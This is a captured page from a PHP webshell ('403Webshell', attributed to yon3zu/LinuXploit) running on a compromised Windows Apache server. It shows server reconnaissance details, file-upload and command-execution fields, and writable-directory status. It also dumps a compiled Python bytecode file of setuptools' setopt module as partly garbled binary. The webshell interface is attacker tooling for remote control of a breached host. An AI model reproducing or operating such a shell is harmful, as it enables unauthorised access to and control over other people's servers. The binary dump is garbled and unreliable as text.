403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.109
Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10
System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64
User : SERVERWEB ( 0)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  C:/cygwin64/lib/python3.6/site-packages/setuptools/command/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : C:/cygwin64/lib/python3.6/site-packages/setuptools/command/__pycache__/setopt.cpython-36.opt-1.pyc
3

��a��@s�ddlmZddlmZddlmZddlZddlZddlZddlm	Z	dddd	gZ
ddd�Zdd
d�ZGdd�de	�Z
Gdd	�d	e
�ZdS)�)�convert_path)�log)�DistutilsOptionErrorN)�Command�config_file�edit_config�option_base�setopt�localcCsh|dkrdS|dkr,tjjtjjtj�d�S|dkrZtjdkrBdpDd}tjjtd	|��St	d
|��dS)z�Get the filename of the distutils, local, global, or per-user config

    `kind` must be one of "local", "global", or "user"
    r
z	setup.cfg�globalz
distutils.cfg�user�posix�.�z~/%spydistutils.cfgz7config_file() type must be 'local', 'global', or 'user'N)
�os�path�join�dirname�	distutils�__file__�name�
expanduserr�
ValueError)�kind�dot�r�/usr/lib/python3.6/setopt.pyr
sFc		Cs8tjd|�tj�}dd�|_|j|g�x�|j�D]�\}}|dkr^tjd||�|j|�q4|j	|�s�tjd||�|j
|�x||j�D]p\}}|dkr�tjd|||�|j||�|j|�s�tjd||�|j|�q�tjd	||||�|j
|||�q�Wq4Wtjd
|�|�s4t|d��}|j|�WdQRXdS)aYEdit a configuration file to include `settings`

    `settings` is a dictionary of dictionaries or ``None`` values, keyed by
    command/section name.  A ``None`` value means to delete the entire section,
    while a dictionary lists settings to be changed or deleted in that section.
    A setting of ``None`` means to delete that setting.
    zReading configuration from %scSs|S)Nr)�xrrr�<lambda>*szedit_config.<locals>.<lambda>NzDeleting section [%s] from %szAdding new section [%s] to %szDeleting %s.%s from %sz#Deleting empty [%s] section from %szSetting %s.%s to %r in %sz
Writing %s�w)r�debug�configparserZRawConfigParserZoptionxform�read�items�infoZremove_sectionZhas_sectionZadd_sectionZ
remove_option�options�set�open�write)	�filenameZsettings�dry_runZopts�sectionr%�option�value�frrrr s:




c@s2eZdZdZdddgZddgZdd�Zd
d�ZdS)rz<Abstract base class for commands that mess with config files�
global-config�g�0save options to the site-wide distutils.cfg file�user-config�u�7save options to the current user's pydistutils.cfg file�	filename=r.�-configuration file to use (default=setup.cfg)cCsd|_d|_d|_dS)N)�
global_config�user_configr))�selfrrr�initialize_options\szoption_base.initialize_optionscCsvg}|jr|jtd��|jr,|jtd��|jdk	rB|j|j�|sT|jtd��t|�dkrjtd|��|\|_dS)Nrrr
�z/Must specify only one configuration file option)r7�appendrr8r)�lenr)r9�	filenamesrrr�finalize_optionsas
zoption_base.finalize_optionsN)r/r0r1)r2r3r4)r5r.r6)�__name__�
__module__�__qualname__�__doc__�user_options�boolean_optionsr:r?rrrrrLsc@sJeZdZdZdZddddgejZejdgZdd�Zdd�Z	dd�Z
dS)r	z#Save command-line options to a filez1set an option in setup.cfg or another config file�command=�c�command to set an option for�option=�o�
option to set�
set-value=�s�value of the option�remove�r�remove (unset) the valuecCs&tj|�d|_d|_d|_d|_dS)N)rr:�commandr,�	set_valuerO)r9rrrr:�s

zsetopt.initialize_optionscCsDtj|�|jdks|jdkr&td��|jdkr@|jr@td��dS)Nz%Must specify --command *and* --optionz$Must specify --set-value or --remove)rr?rRr,rrSrO)r9rrrr?�s

zsetopt.finalize_optionscCs*t|j|j|jjdd�|jii|j�dS)N�-�_)rr)rRr,�replacerSr*)r9rrr�run�sz
setopt.runN)rFrGrH)rIrJrK)rLrMrN)rOrPrQ)r@rArBrC�descriptionrrDrEr:r?rWrrrrr	ss)r
)F)Zdistutils.utilrrrZdistutils.errorsrrr!Z
setuptoolsr�__all__rrrr	rrrr�<module>s

,'

Youez - 2016 - github.com/yon3zu
LinuXploit